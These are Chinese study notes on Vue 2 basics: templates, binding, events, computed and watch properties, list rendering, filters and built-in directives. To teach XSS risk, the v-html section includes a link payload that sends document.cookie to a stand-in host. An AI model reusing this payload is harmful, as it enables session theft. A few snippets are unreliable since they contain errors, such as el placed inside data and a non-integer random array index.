Vue2 学习笔记

1 初识 Vue

1.1 什么是 Vue

  • Vue 是一套用于构建用户界面的渐(逐渐)进(递进)式 JavaScript 框架

  • Vue 可以自底向上逐层应用,由国人尤雨溪开发

  • 采用组件化模式,提高代码的复用率、让代码更好维护

  • 声明式编码方式,让编码人员无需直接操作 DOM,提高开发效率

  • 使用虚拟DOM + 优秀的 Diff 算法,尽量复用 DOM 节点

1.2 引入 Vue

  • 本地方式引入
<script src="../js/vue.js"></script>
  • 网络 CDN 方式引入
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>

1.3 Vue 基本结构

在初学阶段,Vue 的结构由 容器 + 对象 两大部分构成

<!--Vue对象所要服务的容器-->
<!--容器要取到 Vue 对象传递的值,需要使用 {{}} 来取值-->
<div id="root">
    <h2>Hello, {{name}},你 {{age}} 岁</h2>
</div>
<script>
    new Vue({
        el: '#root',    //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
        data: {     	//data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
            name: '张三',
            age: '18'
        }
    })
</script>

image-20220706084413648

Q:一个容器能否对应多个实例?或者,一个实例能否对应多个实例?

A:一个Vue实例,只能对应一个容器,两者是一一对应的关系

<!--一个容器能对应多个实例-->
<div id="root">
    <h2>{{name}},{{age}}</h2>
</div>

<script>
    new Vue({
        el: '#root',    //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
        data: {     //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
            name: '张三'
        }
    })
    new Vue({
        el: '#root',    //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
        data: {     //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
            age: '20'
        }
    })
</script>

image-20220706084654519

<!--一个实例能对应多个实例-->
<div class="root">
    <h2>{{name}},{{age}} 1</h2>
</div>
<div class="root">
    <h2>{{name}},{{age}} 2</h2>
</div>

<script>
    new Vue({
        el: '.root',    //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
        data: {     //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
            name: '张三',
            age: 18
        }
    })
</script>

image-20220706084809069

总结:

  • 要让 Vue 工作,就必须创建一个 Vue 实例,并且要传入一个配置对象

  • 容器中的代码依然符合 html 的规范,只不过加入了一些 Vue 的语法

  • 容器中的代码被称作 Vue 模板

  • Vue 实例与容器是一一对应的关系

  • 真实的开发中,只会有一个 Vue 实例,并且会配合着组件一起使用

  • {{xxx}} 中的 xxx 要写 Js 表达式,且 xxx 可以自动读取到 data 中的所有属性

  • 一旦 data 中数据发生改变,那么模板中用到该数据的地方就会自动更新

2 基础知识

2.1 模板语法

2.1.1 插值语法
<div id="root">
    {{name}}
</div>

<script>
    new Vue({
        el: '#root',
        data: {
            name: '张三'
        }
    })
</script>
2.1.2 指令语法
<div id="root">
    <!-- v-bind 可以简写为 : -->
    <a v-bind:href="url">点我去百度 - 完整写法</a>
    <a :href="url">点我去百度 - 简略写法</a>
</div>

<script>
    new Vue({
        el: '#root',
        data: {
            url: 'https://www.baidu.com'
        }
    })
</script>

总结:

  • 插值语法

    • 功能:用于解析标签体中的内容

    • 写法:{{xxxx}},其中 xxxx 是 js 表达式,且可以直接读取到 data 中的所有属性

  • 指令语法

    • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件...)

    • 写法:形式均为 v-xxx 形式

2.2 数据绑定

<div id="root">
   单向绑定:<input type="text" :value="name">
   双向绑定:<input type="text" v-model:value="name">
</div>

<script>
   new Vue({
       el: '#root',
       data: {
           name: '荒天帝'
       }
   })
</script>

image-20220706145010174

总结:

  • 单向绑定(v-bind):数据只能由 data 流向页面

  • 双向绑定(v-model)

    • 数据既能从 data 流向页面,也能从页面流向 data

    • 双向绑定一般都应用在表单类元素上(input、select...)

    • v-model:value 可以简写为 v-model,因为 v-model 默认绑定的就是 value 属性

2.3 Vue 对象的写法

el 的两种写法:

<script>
    new Vue({
        data: {
            el: '#root',
            name: '荒天帝'
        }
    })
</script>
<script>
    const vm = new Vue({
        data: {
            name: '荒天帝'
        }
    })
    vm.$mount('#root');
</script>

data 的两种写法:

<script>
    //对象式写法
    new Vue({
        data: {
            name: '荒天帝'
        }
    })
</script>
<script>
    //函数式写法
    new Vue({
        data: function(){
            return {
				name: '荒天帝'
            }
        }
    })
</script>

总结:

el 的两种写法

  • new Vue 的时候,直接配置 el 属性

  • 先创建 Vue 实例,然后再对实例使用 .$mount() 函数进行指定 el 的值

data 的两种写法

  • 对象式写法:data:

  • 函数式写法:data(){return {xxxx}},它是由 Vue 管理的实例,一定不要写箭头函数,箭头函数的实例就不再是 Vue 了

2.4 MVVM 模型

M:模型(MOdel):对应 data 中的数据

V:视图(View):对应模板

VM:视图模型(ViewModel):Vue 的实例对象

data 中的所有属性,最后都会出现在 Vue 的实例 vm 身上

vm 的所有属性、Vue 原型上的所有属性,在 Vue 模板中都可以直接使用

image-20220706151841956

2.5 数据代理

假设 Vue 实例为 vm,那么当我们访问 vm 的属性时,就会调用 vm 的 getter 方法,当修改 vm 的属性时,就会调用 vm 的 setter 方法(这点非常类似于 Java 实体类所具有的 Getter、Setter 方法),这就是 数据代理

<div id="root">
    {{name}} - {{age}}
</div>
<script>
    const vm = new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
            age: 18
        }
    })
</script>

asda

Q:数据代理的流程及原理?

  1. 当我们创建一个 Vue 实例 vm 的时候,该实例所具有的 data 属性中的值,就会被 Vue 保存在一个名为 _data 的属性中

  2. 当去访问 vmdata 中的值时,Vue 就会调用 vm 实例的 getter 方法来获取 data 中的值(亦即 _data 中的值)

  3. 当修改 vmdata 中的值时,Vue 会调用 vm 实例的 setter 方法来修改 vm._data 中的值

  4. 而由 1 知,vm 对象创建之初,data 中的值就被保存在了 _data 中,所以修改 _data 完全等同于修改 data

  5. data 又和前端页面的模板绑定,因此会发生 vm.xxx ==> vm._data.xxx ==> vm.data.xxx ==> {{xxx}} 链式连锁反应

image-20220706170744187

2.6 事件处理

<div id="root">
    <button @click="infoOne($event, 666)">点击我显示信息(传参)</button>
    <button @click="infoTwo">点击我显示信息(不传参)</button>
</div>

<script>
    new Vue({
        el: '#root',
        methods: {
            infoOne(event, number){
                console.log(event.target.innerText);
                console.log(number);
            },
            infoTwo(){
                console.log('Hello');
            }
        }
    })
</script>

image-20220706202624101

总结:

  • 使用 v-on:xxx 或者 @xxx 绑定事件,其中 xxx 是事件名

  • 事件的回调需要配置在 methods 中,最终会在 vm 上

  • methods 中配置的函数,不能使用箭头函数,使用后 this 就会变成 window 而非 Vue 实例了

  • @click="demo" 和 @click="demo($event)" 的效果一致,区别在于后者可以传参

2.7 事件修饰符

<div id="root">
    <!-- prevent:阻止默认事件(常用)-->
    <a href="https://www.baidu.com" @click.prevent="showInfo">提示信息</a>

    <!-- stop:阻止事件冒泡(常用)-->
    <div @click="showInfo">
        <button @click.stop="showInfo">提示信息</button>
    </div>

    <!-- once:事件只触发一次(常用)-->
    <!--第一次点击按钮有弹窗,之后点击无反应-->
    <button @click.once="showInfo">提示信息</button>

    <!-- capture:使用事件的捕获模式-->
    <!--正常情况是先捕获再冒泡,输出顺序为 222, 111-->
    <!--使用了 capture 修饰符之后,顺序为 111, 222,即 div-1 的事件在捕获阶段就会执行-->
    <div style="margin: 10px;background: teal" @click.capture="showMsg(111)">div-1
        <div style="margin: 10px;background: red" @click="showMsg(222)">div-2</div>
    </div>

    <!-- self:只有 event.target 是当前操作的元素时才会触发事件-->
    <!--只有点击 div 时才会触发 div 的 click 事件,这里是冒泡冒上去的,所以 div 的 click 并不会执行
        因此只会显示依次信息,正常的冒泡会显示两次信息 -->
    <div @click.self="showInfo" style="margin: 10px;background: aquamarine">
        <button @click="showInfo">提示信息</button>
    </div>

    <!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕-->
    <!-- 当滚动滚轮的时候,默认情况下只有执行完了函数,才会执行默认的滚动事件,
        加上 passive 修饰符之后,会不等函数执行完,就立即响应滚动事件-->
    <ul @wheel.passive="myMove" style="height: 100px;background: aqua;overflow: auto">
        <li style="height: 300px">1</li>
        <li style="height: 300px">2</li>
        <li style="height: 300px">3</li>
        <li style="height: 300px">4</li>
    </ul>
</div>

<script>
    new Vue({
        el: '#root',
        methods: {
            showInfo() {
                alert('Hello')
            },
            showMsg(msg) {
                console.log(msg)
            },
            myMove() {
                for (let i = 0; i < 100000; i++) {
                    console.log('@')
                }
            }
        }
    })
</script>

Vue 中的事件修饰符

  • prevent:阻止默认事件(常用)

  • stop:阻止事件冒泡(常用)

  • once:事件只触发一次(常用)

  • capture:使用事件的捕获模式

  • self:只有 event.target 是当前操作的元素时才会触发事件

  • passive:事件的默认行为立即执行,无需等待事件回调执行完毕

2.8 键盘事件

<div id="root">
    <!--单个字母的按键-->
    <input type="text" placeholder="单字母,Enter" @keydown.enter="showInfoEnter">
    
    <!--多个字母的按键-->
    <input type="text" placeholder="多字母,PageUp" @keydown.page-up="showInfoCapsLock">
    
    <!--系统修饰键,配合 keyup,按下修饰键后,按下后再按别的键,然后别的键抬起,才会触发-->
    <input type="text" placeholder="修饰键,Ctrl + keyup" @keyup.ctrl="showInfoCtrlUp">
    
    <!--系统修饰键,配合 keydown,按下修饰键,就会触发-->
    <input type="text" placeholder="修饰键,Ctrl + keydown" @keydown.ctrl="showInfoCtrlDown">
    
    <!--使用 keyCode 的触发事件-->
    <input type="text" placeholder="使用 keyCode 触发 Enter" @keydown.13="showInfoKeyCode">
    
    <!--自定义别名-->
    <input type="text" placeholder="自定义别名" @keydown.hello="showInfoDiy">
</div>
<script>
    //自定义别名定义回车键
    Vue.config.keyCodes.hello = 13

    new Vue({
        el: '#root',
        methods: {
            //单个字母的按键
            showInfoEnter(event) {
                console.log('按下了' + event.key + '键')
            },
            //多个字母的按键
            showInfoCapsLock(event) {
                console.log('按下了' + event.key + '键')
            },
            //系统修饰键,配合 keyup
            showInfoCtrlUp(event) {
                console.log('按下了' + event.key + '键')
            },
            //系统修饰键,配合 keydown
            showInfoCtrlDown(event) {
                console.log('按下了' + event.key + '键')
            },
            //使用 keyCode 的触发 Enter
            showInfoKeyCode(event) {
                console.log('按下了' + event.key + '键')
            },
            //自定义别名定义回车键
            showInfoDiy(event) {
                console.log('按下了' + event.key + '键')
            }
        }
    })
</script>
  1. Vue 中常用的按键别名
  • 回车 ==> enter

  • 删除 ==> delete(删除键、退格键)

  • 退出 ==> esc

  • 空格 ==> space

  • 换行 ==> tab(要配合 keydown 使用,若是 keyup,则会切换焦点,不执行绑定的函数)

  • 上、下、左、右 ==> up、down、left、right

  1. Vue 中未提供别名的按键,可以使用按键原始的 Key 值去绑定,但是要转换为 kebab-case(短横线命名形式)

  2. 系统修饰键(用法特殊):ctrl、alt、shift、meta

  • 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,触发事件

  • 配合 keydown 使用:正常触发事件

  1. 也可以使用按键的编码去触发事件(不推荐,将来可能被废弃)

  2. Vue 中可以使用 Vue.config.keyCodes.自定义键名 = 键码 来定制按键别名(不推荐)

2.9 计算属性

现在实现如下需求:

有一个输入姓名的输入框、一个输入年龄的输入框、同时显示姓名和年龄的面板

要求:

  • 三者均具有初始值

  • 两个输入框的值改变时,面板的值也会随之改变

  • 不管输入框输入的字符长度为多长,面板只显示前五位

image-20220707101832616

初级 - 使用插值语法实现

这种方式看似可以实现,但是有一个弊端,如果显示框中的业务需求越来越多(比如反转、大小写、首字母大写、字体颜色...)

我们只能不断地去扩充 {{}} 中的 js 表达式,这样做虽然可行,但是会让代码的可读性越来越差

<div id="root">
    姓名:<input type="text" v-model="name"><br>
    年龄:<input type="text" v-model="age"><br>
    信息:<span>{{name.slice(0, 5)}} 今年 {{age.slice(0, 5)}} 岁</span>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
            age: '18'
        },
        methods: {

        }
    })
</script>

进阶 - 使用 methods 实现

现在看来虽然也可以实现,但是,并进是调用方法,这样耗时耗力,所以为了节约时间,我们可以使用 计算属性 来实现(他只是一个属性,并非方法)

<div id="root">
    姓名:<input type="text" v-model="name"><br>
    年龄:<input type="text" v-model="age"><br>
    信息:<span>{{showInfo()}}</span>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
            age: '18'
        },
        methods: {
            showInfo() {
                return this.name.slice(0, 5)
                    + ' 今年 '
                    + this.age.slice(0, 5)
                    + '岁';
            }
        }
    })
</script>

高级 - 使用计算属性实现

  • 计算属性:要使用的属性不存在,要通过已有的属性计算得到

  • 计算属性的优势:与 methods 相比,内部有缓存机制,效率更高

  • 计算属性最终会出现在 vm 上,直接调用即可

  • 当计算属性需要被修改是,就必须要写对应的 setter,并且该计算属性所依赖的属性也需要被修改

<div id="root">
    姓名:<input type="text" v-model="name"><br>
    年龄:<input type="text" v-model="age"><br>
    <!--这里它只是一个属性,因此调用方式为 属性名,而非 属性名() -->
    信息:<span>{{showInfo}}</span>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
            age: '18'
        },
        computed: {
            showInfo: {
                get() {
                    console.log('get被调用了')
                    return this.name.slice(0, 5)
                        + ' 今年 '
                        + this.age.slice(0, 5)
                        + '岁';
                }
            }
        }
    })
</script>

Q : get 有何作用?

A : 当第一次调用计算属性时会调用该属性的 getter,然后将结果缓存,直到触发 getter 被修改的条件,缓存才会失效


Q : get 什么时候被调用?

A :

  • 计算属性被读取的时候(本例子中的 showInfo 属性)

  • get 所依赖的属性值发生改变的时候(本例子中 name、age 发生改变时)

计算属性 - 简写

Q : 什么时候计算属性可以简写?

A : 确定了,该计算属性只读不改的情况下(只调用 getter,不调用 setter),就可以使用简写

<div id="root">
    姓名:<input type="text" v-model="name"><br>
    年龄:<input type="text" v-model="age"><br>
    信息:<span>{{showInfo}}</span>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
            age: '18'
        },
        computed: {
            //简写时,可以省略写 get(),直接写成 showInfo: function(){xxxx}
            //然后可以再次简写为:showInfo(),看起来是一个函数,实际上是计算属性
            showInfo() {
                console.log('get被调用了')
                return this.name.slice(0, 5)
                    + ' 今年 '
                    + this.age.slice(0, 5)
                    + '岁';
            }
        }
    })
</script>

2.10 侦听属性

2.10.1 普通侦听
<div id="root">
    <h3>今天的天气很{{info}}</h3><br>
    <button @click="changeWeather()">改变天气</button>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            isHot: true
        },
        computed: {
          info(){
              return this.isHot ? '炎热' : '凉爽'
          }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        //使用 watch 配置来进行侦听,配置方法一,直接在 vm 实体化时进行配置
        watch: {
            isHot: {
                handler(newValue, oldValue){
                    console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
                }
            }
        }
    })
</script>
<div id="root">
    <h3>今天的天气很{{info}}</h3><br>
    <button @click="changeWeather()">改变天气</button>
</div>
<script>
    const vm = new Vue({
        el: '#root',
        data: {
            isHot: true
        },
        computed: {
          info(){
              return this.isHot ? '炎热' : '凉爽'
          }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        
        watch: {
            isHot: {
                handler(newValue, oldValue){
                    console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
                }
            }
        }
    })
    //使用 watch 配置来进行侦听,配置方法二,调用 vm 实体进行配置
    vm.$watch('isHot', {
        handler(newValue, oldValue){
			console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
        }
    })
</script>

image-20220707155100488

总结:

  • 当被侦听的属性发生变化时,回调函数自动调用,进行有关操作

  • 侦听的属性必须是存在的,才可以进行侦听

  • 侦听的两种写法

    • new Vue 是传入 watch 配置

    • 通过 vm.$watch 进行侦听

2.10.2 深度侦听
<div id="root">
    <p>a 的值为 {{numbers.a}}</p>
    <p>b 的值为 {{numbers.b}}</p>
    <button @click="numbers.a++">点我为 a 加一</button>
    <button @click="numbers.b++">点我为 b 加一</button>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            numbers: {
                a: 1,
                b: 1
            }
        },
        watch: {
            numbers: {
                //开启深度侦听 
                deep: true,
                handler(){
                    console.log('numbers 被改变');
                }
            }
        }
    })
</script>

image-20220707220132714

深度侦听:

  • Vue 中的 watch 默认不检测对象内部值的改变

  • 配置 deep: true 可以检测对象内部值的改变

  • Vue 自身可以侦听对象内部值的改变,但是 Vue 提供的 watch 默认不可以

2.11 class 绑定

实现如下需求:

初始化一个带有边框的 div,点击切换样式按钮,在基本样式的基础上,新增 div 的 class 属性(基本样式固定,新增样式不固定)

<!--字符串写法:适用于新增样式类名不确定,需要动态指定的情况-->
<style>
    .basic {
        width: 200px;
        height: 80px;
        border: 2px black solid;
        background: #b5b5ff;
    }
    .radius-small {
        border-radius: 5px;
    }
    .radius-mid{
        border-radius: 10px;
    }
    .radius-big {
        border-radius: 15px;
    }
</style>

<div id="root">
    <!--使用 :class 动态新增样式-->
    <div class="basic" :class="diy">测试框</div>
    <button @click="changeRadiusSmall">小圆角</button>
    <button @click="changeRadiusMid">中圆角</button>
    <button @click="changeRadiusBig">大圆角</button>
</div>


<script>
    new Vue({
        el: '#root',
        data: {
            diy: 'radius-small'
        },
        methods: {
            changeRadiusSmall(){
                this.diy = 'radius-small'
            },
            changeRadiusMid(){
                this.diy = 'radius-mid'
            },
            changeRadiusBig(){
                this.diy = 'radius-big'
            }
        }
    })
</script>
<!--数组写法:适用于新增样式不确定、且不知道样式名的情况-->
<style>
    .basic {
        width: 200px;
        height: 80px;
        border: 2px black solid;
        background: #b5b5ff;
    }
    .radius-small {
        border-radius: 5px;
    }
    .radius-mid{
        border-radius: 10px;
    }
    .radius-big {
        border-radius: 15px;
    }
</style>

<div id="root">
    <div class="basic" :class="diy">测试框</div>
    <button @click="changeStyle">修改样式</button>
</div>


<script>
    new Vue({
        el: '#root',
        data: {
            diy: 'radius-small'
        },
        methods: {
            changeStyle(){
                const arr = ['radius-small', 'radius-mid', 'radius-big']
                this.diy = arr[Math.random() * arr.length]
            }
        }
    })
</script>

2.12 条件渲染

<!--只是通过设置 display: none 样式来控制显示与不显示,div 的结构实际还在-->
<div v-show="false">{{name}}</div>

<!--条件为 false 时,整个 div 结构都会直接消失-->
<div v-if="false">{{name}}</div>
<!-- v-else-if 用发与后端中的判断用法一致-->
<div id="root">
    <div>当前等级:{{level}}</div>
    <button @click="level++">点我升级</button>
    <!--下方的六个 div 必须为一个整体,不能被背的标签打乱,否则条件渲染无效-->
    <div v-if="level === 0">气武境</div>
    <div v-else-if="level === 1">天武境</div>
    <div v-else-if="level === 2">上位皇</div>
    <div v-else-if="level === 3">大帝</div>
    <div v-else-if="level === 4">天帝</div>
    <div v-else>神灵</div>
</div>

<script>
    new Vue({
        el: '#root',
        data: {
            level: 0
        },
        methods: {

        }
    })
</script>

总结:

  • v-if

    • 写法有三种:v-if="表达式"v-else-if="表达式"v-else="表达式"

    • 适用于切换频率较低的场景

    • 不展示的 dom 元素会直接被移除

    • v-if 可以和 v-else-if、v-else 一起使用,但是要求结构之间不能被打断

  • v-show

    • 写法:v-show="表达式"

    • 适用于切换频率较高的场景

    • 不展示的 dom 元素不会被移除,仅仅是使用 display: none 进行隐藏

  • 使用 v-if 时,元素可能无法获取到,但是 v-show 一定可以获取到

2.13 列表渲染

2.13.1 v-for 的使用

v-for 语法:v-for="(item, index) in xxx" :key="index" (其中 :key 推荐写,其作用下文分析)

<div id="root">
    <h5>遍历数组</h5>
    <ul>
        <li v-for="(per, index) in persons" :key="index">
            姓名:{{per.name}}&nbsp;&nbsp;&nbsp;年龄:{{per.age}}&nbsp;&nbsp;&nbsp;索引:{{index}}
        </li>
    </ul>

    <h5>遍历对象</h5>
    <ul>
        <li v-for="(value, key) in student" :key="key">
            值:{{value}}&nbsp;&nbsp;&nbsp;键值名:{{key}}
        </li>
    </ul>

    <h5>遍历字符串</h5>
    <ul>
        <li v-for="(st, index) in str" :key="index">
            字符:{{st}}&nbsp;&nbsp;&nbsp;索引:{{index}}
        </li>
    </ul>

    <h5>普通遍历指定次数</h5>
    <ul>
        <li v-for="(num, index) in 3" :key="index">
            数字:{{num}}&nbsp;&nbsp;&nbsp;索引:{{index}}
        </li>
    </ul>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            persons: [
                {id: '001', name: '张三', age: 18},
                {id: '002', name: '李四', age: 20},
                {id: '003', name: '王五', age: 19}
            ],
            student: {
                name: '荒天帝',
                age: 500,
                address: '荒域'
            },
            str: 'Hello'
        }
    })
</script>

image-20220708151301999

2.13.2 key 原理探究

React、Vue 中的 key 有什么作用?(key 的原理)

  1. 虚拟 DOM 中 key 的作用
  • key 是虚拟 DOM 对象的标识,当状态中的数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】

  • 然后 Vue 会进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较

  1. 比较规则
  • 旧的虚拟 DOM 中找到了与新的虚拟 DOM 中相同的 key:

    • 若虚拟 DOM 中内容没变,直接使用之前的真实 DOM

    • 若虚拟 DOM 中内容改变,则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM

  • 旧的虚拟 DOM 中未找到与新的虚拟 DOM 相同的 key:创建新的真实 DOM 并渲染到页面

  1. 用 index 作为 key 可能引发的问题
  • 若对数据进行逆序添加、逆序删除等破坏顺序的操作,会产生没有必要的真实 DOM 更新(页面没问题,但效率低下)

  • 若结构中包含输入类的 DOM,会产生错误的 DOM 更新,导致界面出错

  1. 开发中如何选择 key 用 index 或者唯一 id?
  • 最好使用每条数据的唯一标识作为 key,比如id、手机号、身份证号、学号...

  • 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表并展示,使用 index 作为 key 则不会有任何问题

2.13.3 列表过滤

实现如下需求:

现有四个人员列表,上方有一个输入框,当上方输入框输入不同的关键字时,根据姓名动态搜索并显示包含该关键字的姓名

<div id="root">
    <input type="text" placeholder="输入搜索内容..." v-model="keyWord">
    <ul>
        <li v-for="per in filterPersons" :key="per.id" v-if="per.name">
            {{per.name}} - {{per.age}} - {{per.sex}}
        </li>
    </ul>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            persons: [
                {id: '001', name: '石昊', age: 18, sex: '男'},
                {id: '002', name: '昊天', age: 20, sex: '男'},
                {id: '003', name: '天帝', age: 19, sex: '女'},
                {id: '004', name: '帝霸', age: 19, sex: '女'}
            ],
            filterPersons: []
        },
        watch: {
            keyWord: {
                //刚开始什么都不输入的情况下,应该显示所有数据
                //所以设置 immediate: true,一开始就会使用空串匹配,匹配到所有数据
                immediate: true,
                handler(val){
                    this.filterPersons = this.persons.filter((p) => {
                        return p.name.indexOf(val) !== -1
                    })
                }
            }
        }
    })
</script>
2.13.4 列表排序

现在基于上面的例子,要实现根据年龄进行升序、降序排列

<div id="root">
    <input type="text" placeholder="输入搜索内容..." v-model="keyWord">
    <button @click="sortType = 1">升序排列</button>
    <button @click="sortType = 2">降序排列</button>
    <button @click="sortType = 0">原顺序</button>
    <ul>
        <li v-for="per in filterPersons" :key="per.id" v-if="per.name">
            {{per.name}} - {{per.age}} - {{per.sex}}
        </li>
    </ul>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            sortType: 0,    //0->原顺序,1 -> 升序,2 -> 降序
            persons: [
                {id: '001', name: '石昊', age: 25, sex: '男'},
                {id: '002', name: '昊天', age: 12, sex: '男'},
                {id: '003', name: '天帝', age: 33, sex: '女'},
                {id: '004', name: '帝霸', age: 11, sex: '女'}
            ]
        },
        computed: {
            filterPersons(){
                const arr = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1;
                })
                //判断是否需要排序
                if (this.sortType){
                    arr.sort((per1, per2) => {
                        return this.sortType === 1 ? per1.age - per2.age : per2.age - per1.age
                    })
                }
                return arr
            }
        }
    })
</script>

image-20220709152348443

2.14 收集表单数据

<div id="root">
    <form action="#" @submit.prevent="showInfo">
        账号:<input type="text" v-model="userInfo.account"><br><br>
        密码:<input type="password" v-model="userInfo.password"><br><br>
        性别:
        <input type="radio" name="sex" value="boy" v-model="userInfo.sex">男
        <input type="radio" name="sex" value="girl" v-model="userInfo.sex">女<br><br>
        爱好:
        <input type="checkbox" value="game" v-model="userInfo.hobby">游戏
        <input type="checkbox" value="code" v-model="userInfo.hobby">代码
        <input type="checkbox" value="read" v-model="userInfo.hobby">阅读<br><br>
        所属地区:
        <select v-model="userInfo.area">
            <option value="">--请选择地区--</option>
            <option value="shanghai">上海</option>
            <option value="beijing">北京</option>
            <option value="guangzhou">广州</option>
        </select><br><br>
        备注:
        <textarea v-model.lazy="userInfo.info" id="info" cols="25" rows="6"></textarea><br><br>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a><br><br>
        <button>提交</button>
    </form>
</div>

<script>
    new Vue({
        el: '#root',
        data: {
            userInfo: {
                account: '',
                password: '',
                sex: '',
                hobby: [],
                area: '',
                info: '',
                agree: ''
            }
        },
        methods: {
            showInfo(){
                console.log(JSON.stringify(this.userInfo));
            }
        }
    })
</script>

image-20220710151708303

2.15 过滤器

2.15.1 局部过滤器
<div id="root">
    <div>现在时间是(过滤器实现):{{nowTime | getTimeByFilter}}</div>
    <!--多个过滤器时,链式传递值:
    nowTime 交给 getTimeByFilter 处理完之后生成返回值 res,res再交给 yearFilter 处理,层层递进-->
    <div>现在年份是(多个过滤器实现):{{nowTime | getTimeByFilter | yearFilter}}</div>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            nowTime: Date.now()
        },
        filters: {
            //这里的过滤器都是局部过滤器
            getTimeByFilter(value) {
                let date = new Date(value);
                return date.getFullYear() + '年'
                    + (date.getMonth() + 1) + '月'
                    + date.getDate() + '日\t'
                    + date.getHours() + ':'
                    + date.getMinutes() + ':'
                    + date.getSeconds();
            },
            yearFilter(value) {
                return value.slice(0, 4) + '年';
            }
        }
    })
</script>

image-20220711104055478

2.15.2 全局过滤器
<script>
    Vue.config.productionTip = false;
    Vue.filter('myFilter', function (value) {
        let res = value[0];
        console.log('最终网址为:' + res);
        return res;
    })
    new Vue({
        el: '#root',
        data: {
            urls: ['http://www.baidu.com','http://www.bilibili.com'],
            msg: ['http://www.xxxx.cn', 'http://lift.xxxx.com', 'http://lift.top'],
        }
    })
</script>

image-20220711110529874

总结:

  • 定义:对要显示的数据进行特定的格式化后再显示(适用于一些简单的逻辑处理)

  • 语法

    • 局部过滤器:new Vue(){ filters: {xxx} }

    • 全局过滤器:Vue.filter(name, callback)

  • 使用范围

    • 插值语法中使用:{{args | filterName}}

    • v-bind 中使用:v-bind:属性="args | filterName"

  • 过滤器可以接收额外的参数、多个过滤器可以进行串联,当前过滤器的默认参数是上一个过滤器的处理结果

  • 并未改变原有的数据,只是通过原有数据来产生新数据

2.16 内置指令

指令语法 指令作用
v-bind 单向绑定解析表达式,可以简写为:
v-model 双向数据绑定
v-on 绑定事件监听,可简写为 @
v-for 循环遍历数组、对象、字符串
v-if、v-else、v-else-if 条件渲染,动态控制节点是否存在
v-show 条件渲染,动态控制节点是否展示
v-text 向其所在节点中渲染文本内容
v-html 向其所在节点中渲染网页结构,有安全隐患
v-cloak 解决网速慢时页面展示出 {{xxx}} 问题
v-once 被标记的结构,动态渲染一次之后就会被 Vue 视作静态内容
v-pre 跳过所在节点的编译过程,加快编译
2.16.1 v-text 指令
<div id="root">
    v-text 指令:<div v-text="name">我会被替换掉</div>
    <br>
    插值语法:<div>我不会被替换,{{name}}</div>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝'
        }
    })
</script>

image-20220711145004079

总结:

  • 作用:会向其所在节点中渲染 文本内容

  • 与插值语法相比较,v-text 会替换掉节点中的所有内容,{{xxx}} 则不会

2.16.2 v-html 指令
<div id="root">
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            str: '<h5 style="color: red">你好</h5>',
            str2: '<a href=javascript:location.href="http://www.xxxxx.com?"+document.cookie>点击获取学习资料</a>'
        }
    })
</script>

image-20220711145408244

总结:

  • 作用:向所在节点中渲染包含 html 结构的内容

  • v-html 会替换节点中的内容,v-html 可以识别 html 结构

  • v-html 具有安全性问题:

    • 在网站上动态渲染任何 html 都是非常危险的行为,容易导致 XSS 攻击

    • 一定要在可信的内容上使用 v-html,永远不要在用户提交的内容上使用!

2.16.3 v-cloak 指令
<div id="root">
    <div v-cloak>{{name}}</div>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            name: '荒天帝'
        }
    })
</script>

总结:

  • 该指令本质是一个特殊属性,Vue 实例创建完毕并接管容器之后,会删除掉 v-cloak 属性

  • 使用 css 配合 v-cloak 指令可以解决网速慢时页面展示出 {{xxx}} 问题

2.16.4 v-once 指令
<div id="root">
    <div v-once>初始 num 值:{{num}}</div>
    <div>当前 num 值:{{num}}</div>
    <button @click="num++">num 加一</button>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            num: 1
        }
    })
</script>

image-20220711154145043

总结:

  • v-once 所在节点在初次动态渲染之后,就会被 Vue 视作静态内容了

  • 以后数据的改变都不会引起 v-once 所在的结构发生改变了,可用于优化性能

2.16.5 v-pre 指令
<div id="root">
    <p v-pre>Hello</p>
    <div v-pre>当前 num 值:{{num}}</div>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            num: 1
        }
    })
</script>

